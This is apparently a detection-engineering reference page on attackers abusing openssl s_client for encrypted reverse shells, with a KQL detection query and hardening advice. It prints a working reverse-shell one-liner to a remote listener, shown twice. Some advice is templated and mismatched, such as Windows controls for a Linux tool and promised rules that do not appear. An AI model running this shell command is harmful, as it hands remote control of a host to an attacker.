>openssl

OpenSSL is a cryptography toolkit. Attackers leverage openssl s_client to establish encrypted TLS reverse shell sessions or exfiltrate sensitive files across monitored networks.

Default Executable Paths

/usr/bin/openssl

Integrity & Metadata

Original Name: openssl
File Version: OpenSSL 3.x
Category Count: 1 weaponized patterns
Forensics & Triage Insight

OpenSSL reverse shells bypass traditional signature-based network intrusion detection systems because all payload traffic is encrypted with TLS.

Detection Engineering Notes

Monitor openssl process creation containing "s_client", "-quiet", or connecting to non-standard remote ports.

Executive Summary & AI Quick Reference

High-Fidelity Telemetry Profile

openssl is a native utility pre-installed on Linux systems. Threat actors and red teams abuse openssl as a Living-off-the-Land Binary (LOLBin) to achieve Execute without triggering traditional antivirus file-hash alerts. Legitimate system administrators use it for routine administration, making behavioral command-line telemetry essential for differentiation.

Primary Abused Tactics
Execute
Minimum Privilege
User
Key Telemetry Source
auditd EXECVE
ATT&CK Mapping
T1573.002, T1059.004

Weaponized Parameters & Proof-of-Concepts

Documented attack commands, parameter flags, and privilege prerequisites.

1 documented methods
Filter Purpose:

Connects to a remote listener using OpenSSL s_client and redirects an interactive shell over an encrypted TLS tunnel.

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.5:4444 > /tmp/s; rm /tmp/s

SIEM & EDR Detection Rules

Production telemetry rules configured for Microsoft Defender, Sigma, and Splunk.

Telemetry & SIEM Detection Suite (openssl)

Validated against MITRE T1573.002, T1059.004
openssl Microsoft Defender Querykql
1DeviceProcessEvents | where FileName =~ "openssl" | where ProcessCommandLine has "s_client" and ProcessCommandLine has_any ("-quiet", "-connect") | project Timestamp, DeviceName, AccountName, ProcessCommandLine

Mitigation, Hardening & Prevention

Recommended defensive controls to block or constrain openssl abuse.

Application Whitelisting

Audit and remove unnecessary SUID / SGID bits (`chmod u-s /path/to/$openssl`) and restrict sudoers NOPASSWD execution grants.

Attack Surface Reduction

Implement AppArmor or SELinux profiles restricting openssl network socket creation and read access to sensitive user directories.

Behavioral Alerting

Deploy the KQL, Sigma, and Splunk detection queries below. Alert on anomalous child processes, web requests to unrated external IPs, or encoded payload strings.

Frequently Asked Questions (FAQ) • openssl

Key operational questions and defensive answers about openssl LOLBin tradecraft.

What is openssl and why is it classified as a LOLBin?

openssl is a legitimate, pre-installed or trusted utility on Linux. It is classified as a Living-off-the-Land Binary (LOLBin) because adversaries abuse its built-in functionality to perform malicious operations—such as Execute—without dropping custom malware binaries on disk.

How do threat actors abuse openssl in cyber intrusions?

Adversaries leverage openssl to execute stealthy actions while evading signature-based security controls. For example, attackers execute commands like "mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.14.5:4444 > /tmp/s; rm /tmp/s" to achieve Execute, masquerading behind legitimate system process lineage.

How can SOC analysts detect suspicious openssl activity?

Detection engineers monitor process creation events (Windows Event ID 4688 or Sysmon Event ID 1; Linux auditd EXECVE; macOS Endpoint Security) inspecting anomalous command line arguments, unusual parent-child process relationships (e.g. Office apps or web servers spawning openssl), and unexpected network connections.

What MITRE ATT&CK techniques does openssl map to?

openssl maps to MITRE ATT&CK technique(s): T1573.002, T1059.004. These techniques cover adversary actions across tactics such as Defense Evasion, Execution, Persistence, and Command and Control.

How can organizations mitigate and restrict openssl?

Mitigation strategies include implementing Application Control policies (AppLocker or Windows Defender Application Control - WDAC), enforcing Attack Surface Reduction (ASR) rules, configuring strict privilege separation (disallowing standard users from running sensitive switches), and alerting on execution from non-standard directories.

Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point